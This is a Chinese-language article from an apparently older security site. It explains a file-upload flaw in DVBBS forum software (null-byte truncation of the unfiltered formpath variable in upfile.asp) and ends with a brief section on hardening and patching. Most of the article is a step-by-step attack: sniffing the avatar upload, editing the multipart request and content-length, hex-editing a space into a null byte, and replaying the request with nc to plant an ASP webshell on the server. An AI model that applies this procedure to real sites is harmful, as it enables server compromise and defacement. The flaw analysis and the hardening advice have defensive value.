上一篇:qq自动传文件病毒变种分析及手工查杀一例 >>
DVBBS上传ASP文件漏洞详解
一、漏洞成因
在动网的upfile.asp文件中有这么一句代码:
●filename=formpath&year(now)&month(now)&day(now)&hour (now)&minute(now)&second(now)&rannum&"."&fileext●,其中变量filename是要保存上传头像的文件名, fileext是要保存文件的后缀。下面我们来看看判断后缀的依据从何而来。
reg_upload.asp中部分代码如下:
★
<form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" >
<input type="hidden" name="filepath" value="uploadface">
<input type="hidden" name="act" value="upload">
<input type="file" name="file1">
<input type="hidden" name="fname">
<input type="submit" name="submit" value="上传" onclick="fname.value=file1.value,parent.document.forms[0].submit.disabled=true,
parent.document.forms[0].submit2.disabled=true;">
</form>
★
我们可以看到upfile.asp程序是提取file1表单和fname表单中的值来做文件后缀判断的,而file1和fname的值来源于客户端,这给我们欺骗服务端的程序提供了可能。这里直接从页面上递交我们的asp文件是行不通的。但是,如果我们自己构造数据包就可以绕过服务端文件类型的检测了。而在这句
●filename=formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileext
●代码中我们发现,只要让frompath变量做为一个已经结束的字符串,那么后面的那些改变上传文件名的函数就都不起作用了。在计算机中检测字符串是否结束是通过检测'/0'来实现的,只要发现了'/0'就认为结束;也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似 "uploadface/mm.asp"这样的路径参数已经结束了,从而达到直接将文件保存为我们定义的文件名的目的。(lcx再罗嗦几句自己的看法,网上有关动网上传文章和这篇文章好像都没有根本搞清或讲明白为什么能直接上传asp的道理。其实upfile.asp判断你上传的头像是否为asp后缀并不重要的,漏洞的关键就是一个formpath变量没有过滤及截断的问题。只要我们设定formpath的变量为“uploadface/xx.asp”这样的值,再在这个值后加个00截断字符就可以了。上传的asp后缀没有变化,只是因为我们把formpath的变量指定为了
●uploadface/xx.asp
●这种格式。file1、fname表单值只是判断我们上传的文件是否合法的jpg或gif后缀而已,上传asp文件的后缀指定倒不是因它俩而来。)
生成)
二、攻击过程:
我们先在论坛申请一个帐号,我申请的是7788,申请好以后进入用户控制面板,个人资料修改,如果管理员没有禁止上传头像的话就会有文件浏览上传的地方。
我们选择好要上传的asp木马文件,这里是c:/newmm.asp。然后我们打开嗅探工具winsockexport(不过不支持 2003,所以最好别在2003下使用),点击打开第一个黄色翻页小图标,在弹出的对话框中选择iexplorer.exe后点击里面的修改基本资料选项,点open开始监听。
ok,嗅探开始,我们点击头像上传那里的上传......显示格式不对
我们来看嗅探的结果,显示得非常详细
如果你搞不懂浏览器的真正工作原理,你看看这段嗅探的数据你就明白多了,cookie、sessionid还有常用的referer都在这里,简直是一次很好的学习机会呀。
我们把嗅探的结果复制到一个2.txt文档里,这里的结果有两部分组成。一部分是在图4所示的第3行里,一部分在第3行里。注意一定要全选复制第3和第4行的所有数据,在复制的过程中记得一定要把最后的回车也复制进去,不然实验不成功的。
下面我们将进行最核心的部分,修改数据。
●修改的第一个地方●
★
content-disposition: form-data; name="file1"; filename="c:/newmm.asp"
改为
content-disposition: form-data; name="file1"; filename="c:/newmm.gif"
欺骗服务端,让它误认为我们上传的是.gif后缀。
★
●修改的第二个地方●
★
-----------------------------7d43e4122010e
content-disposition: form-data; name="filepath"
uploadface
改为:
-----------------------------7d43e4122010e
content-disposition: form-data; name="filepath"
uploadface/muma.asp
注意在muma.asp后面有一个空格,切记。这里的意思是好为我们自定义上传文件名做好准备。
★
●修改的第三个地方●
★
修改提交数据的长度
原来:content-length: 1819
后来增加了/muma.asp和一个空格,就是增加了10
长度变成1829
content-length: 1819
★
●修改的第四个地方●
保存好我们修改好的2.txt之后,下面进行最重要的一步,就是我们谈到的让formpath作为字符串结束的'/0'。我们知道在16进制中空格是20,'/0'是00,那么我们就把刚才我们在muma.asp后面的空格变成'/0'。这里我们
用ultredit打开2.txt。
看到那个20了没有,好我们把他改为00。
ok,保存2.txt。下面我们用nc来提交2.txt,如果说你还不知道nc能提交数据的话,那你可得恶补了哟!,我们去http://***/bbs/uploadface/muma.asp看看。
很可爱的哟,是不是,呵呵,现在我们可以用这个asp木马来写好东西了,比如写一个海洋木马2004。
三、防范补救措施
这个漏洞是一个很大漏洞,黑防、动网都被此漏洞黑掉。从这个漏洞也反映出国内很多站点包括一些安全类站点的管理人员安全意识不强。作为安全管理人员我们不能要求程序员写的程序能有多安全,因为他们中很多人缺少安全意识,那当然很难写出安全的程序来,我们要求的只能是我们自己。我们的服务器如果你象下面这样配置就绝对不会被人家黑了主页。
首先要把首页和bbs分开放,然后在iis里严格用户访问权限,不给他们修改、删除的权限,这样即使他们传上去网页木马也是没有用的,他们只能看一看而已,更别提什么改首页了(前提是可读的文件里可别有什么sa的密码的东西)。实际上你还可以不给他们列出文件夹目录的权限, 再配置好fso,配置好shell.application这样就更安全一点了。
其次要记住给ftp用户可写的权限,这样虚拟主机的用户才有方法维护网站。
最后要说提解决这个头像上传漏洞的方法当然是给dvbbs打补丁。我估计相同或相近的问题会出现在其他程序的很多地方,希望相关人等能尽快发现,不只是找漏洞的人,还有程序员自己。
()
下一篇:“BBSxp 5.15”暴库工具源码 >>
相关文章:
- · 让Win XP系统巧妙的“起死回生”
- · 禁用QQ四法
- · 谁制造了微软软件间的不兼容
- · QQ2005重启BUG之十面埋伏
- · WINDOWS专集大集合,绝对是精品中的精品
- · 代理服务器基本知识和常识
- · 新版QQ的四个实用功能
- · IP地址被盗的一种有效解决方案
- · 超强windows密码设置及破解
- · 利用微软官方工具批量安装Windows更新程序
- · 解析IBM的EXA 技术
- · 有效地远程管理局域网计算机的磁盘空间
- · XP显示上次光盘内容的解决办法
- · 更改Windows系统中DOS命令行的默认路径
- · Windows和Linux的“鹊桥会”
- · 智能ABC输入法技巧揭密
- · 关于ftp服务程序中不安全因素研究
- · 代理中的“中间人”攻击
- · 更改客户端administrator密码的几种方法
- · 解决IP地址冲突的完美方法
- · 免费电影与在线视频大搜捕
- · 跳板的隐藏
- · MITM攻击 In Proxy
- · 邮件地址保护有巧招
- · Linux下管理磁盘存储区从原理到技巧
- · Windows 2000系统下关闭端口的方法与思路
- · WinXP中的空连接
- · BitTorrent(BT)种子制作教程
- · 路由器端QQ封堵方案
- · 软件路由器使用经典十问
- · 监控和保护Linux下进程安全
- · 深度解析注册表修复不成功的原因
- · F1~F12在Windows系统中的作用
- · Longhorn的优化及注意事项
- · 内网BitComet下载提速方案
- · Q-ZONE技巧大放送
- · Win XP系统中你不可不知的事
- · 为你的右键菜单“瘦身”
